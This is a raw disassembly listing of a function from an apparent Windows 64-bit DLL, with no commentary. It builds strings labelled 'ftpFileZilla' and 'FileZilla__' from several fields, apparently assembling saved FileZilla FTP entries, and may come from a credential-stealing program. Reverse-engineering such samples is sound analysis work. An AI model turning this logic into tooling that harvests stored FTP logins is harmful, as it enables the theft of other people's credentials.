mov byte [rax], 0
cmp qword [rbp + 0x108], 0x10
mov r8, qword [rbp + 0x100]
cmovae rdx, qword [rbp + 0xf0]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118dbc]
lea rcx, [rbp + 0x10]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
mov r8d, 1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x180118dc0]
lea rcx, [rbp - 0x10]
call fcn.1800c22c0
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xa8], 0x10
mov r8, qword [rbp + 0xa0]
cmovae rdx, qword [rbp + 0x90]
call fcn.1800c22c0
mov r8d, 2
lea rdx, [0x180118dd0]
lea rcx, [rbp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
lea rdx, [rbp + 0x50]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm0
mov byte [rax], 0
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x60], xmm1
cmovae rdx, rcx
mov rcx, r12
call fcn.1800c22c0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1800b0ba5
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0ba0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800b0be0
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0bdb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
cmp rdx, 0x10
jb 0x1800b0c2b
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0c26
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp rdx, 0x10
jb 0x1800b0c76
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0c71
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
cmp rdx, 0x10
jb 0x1800b0cc1
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0cbc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x58]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
cmp rdx, 0x10
jb 0x1800b0d0c
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0d07
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp rdx, 0x10
jb 0x1800b0d58
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0d53
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1800b0da6
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0da1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x1800b0df6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0df1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x38]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x1800b0e44
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0e3f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11df
call fcn.1800cf9b0
mov rcx, qword [r14 + 0x18]
mov rax, qword [rbp + 0xc0]
mov rdx, r14
cmp rcx, 0x10
jb 0x1800b0e5b
mov rdx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800b0e6b
cmp byte [rdx], 0x31
jne 0x1800b0e6b
mov cl, 1
jmp 0x1800b0e6d
xor cl, cl
test cl, cl
je 0x1800b103b
lea rdx, [rax + 0xe]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800b0e9c
lea rcx, [rbp - 0x50]
call fcn.1800c8f90
mov qword [rbp - 0x40], rdi
mov r8d, 0xe
lea rdx, str.ftpFileZilla
lea rcx, [rbp - 0x50]
call fcn.1800c22c0
cmp qword [rbp + 0xc8], 0x10
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
cmovae rdx, qword [rbp + 0xb0]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x1801194d8]
lea rcx, [rbp - 0x50]
call fcn.1800c22c0
mov qword [rsp + 0x40], rdi
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdi
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xe8], 0x10
mov r8, qword [rbp + 0xe0]
cmovae rdx, qword [rbp + 0xd0]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118dc8]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
lea r8, [rbp + 0xf0]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c30d0
mov rdx, rax
lea r8, [0x180118dc8]
lea rcx, [rbp - 0x10]
call fcn.1800c3290
mov rdx, rax
lea r8, [rbp + 0x90]
lea rcx, [rbp + 0x10]
call fcn.1800c30d0
mov rdx, rax
lea r8, [0x180118dc4]
lea rcx, [rbp - 0x70]
call fcn.1800c3290
mov rdx, rax
mov rcx, r12
call fcn.1800c2360
lea rcx, [rbp - 0x70]
call fcn.1800c23a0
lea rcx, [rbp + 0x10]
call fcn.1800c23a0
lea rcx, [rbp - 0x10]
call fcn.1800c23a0
lea rcx, [rbp - 0x30]
call fcn.1800c23a0
lea rcx, [rsp + 0x50]
call fcn.1800c23a0
lea rcx, [rsp + 0x70]
call fcn.1800c23a0
lea rcx, [rsp + 0x30]
call fcn.1800c23a0
lea rcx, [rbp - 0x50]
call fcn.1800c23a0
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0xb0]
call fcn.1800c2380
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0xf0]
call fcn.1800c2380
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0xd0]
call fcn.1800c2380
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x90]
call fcn.1800c2380
inc r13d
lea rcx, [rbp + 0x70]
call fcn.1800c23a0
lea rbx, [0x180133780]
mov rcx, r15
call fcn.1800de9b0
test eax, eax
je 0x1800af900
mov rcx, r15
call fcn.1800db958
lea rdx, [0x18010dee8]
mov rcx, r14
call fcn.1800c3080
test al, al
je 0x1800b115b
mov edx, r13d
lea rcx, [rbp - 0x70]
call fcn.180089380
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rsp + 0x70]
call fcn.1800c3190
mov rdx, rax
lea r8, [0x180118dd4]
lea rcx, [rsp + 0x50]
call fcn.1800c3290
mov rdx, rax
lea r8, [0x180118dd0]
lea rcx, [rsp + 0x30]
call fcn.1800c3290
mov rdx, rax
lea rcx, [rbp + 0x50]
mov r8, r12
call fcn.1800c30d0
mov rdx, rax
mov rcx, r12
call fcn.1800c2400
lea rcx, [rbp + 0x50]
call fcn.1800c23a0
lea rcx, [rsp + 0x30]
call fcn.1800c23a0
lea rcx, [rsp + 0x50]
call fcn.1800c23a0
lea rcx, [rsp + 0x70]
call fcn.1800c23a0
lea rcx, [rbp - 0x70]
call fcn.1800c23a0
lea rcx, [rbp + 0x110]
call fcn.1800c23a0
lea rcx, [rbp + 0xd0]
call fcn.1800c23a0
lea rcx, [rbp + 0x90]
call fcn.1800c23a0
lea rcx, [rbp + 0xf0]
call fcn.1800c23a0
lea rcx, [rbp + 0xb0]
call fcn.1800c23a0
mov rcx, r14
call fcn.1800c23a0
mov rsi, qword [rsp + 0x358]
mov rax, r12
mov rbx, qword [rsp + 0x3a0]
mov r15, qword [rsp + 0x350]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1800cf6f0
add rsp, 0x360
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.1800c2e00
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800892e0
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3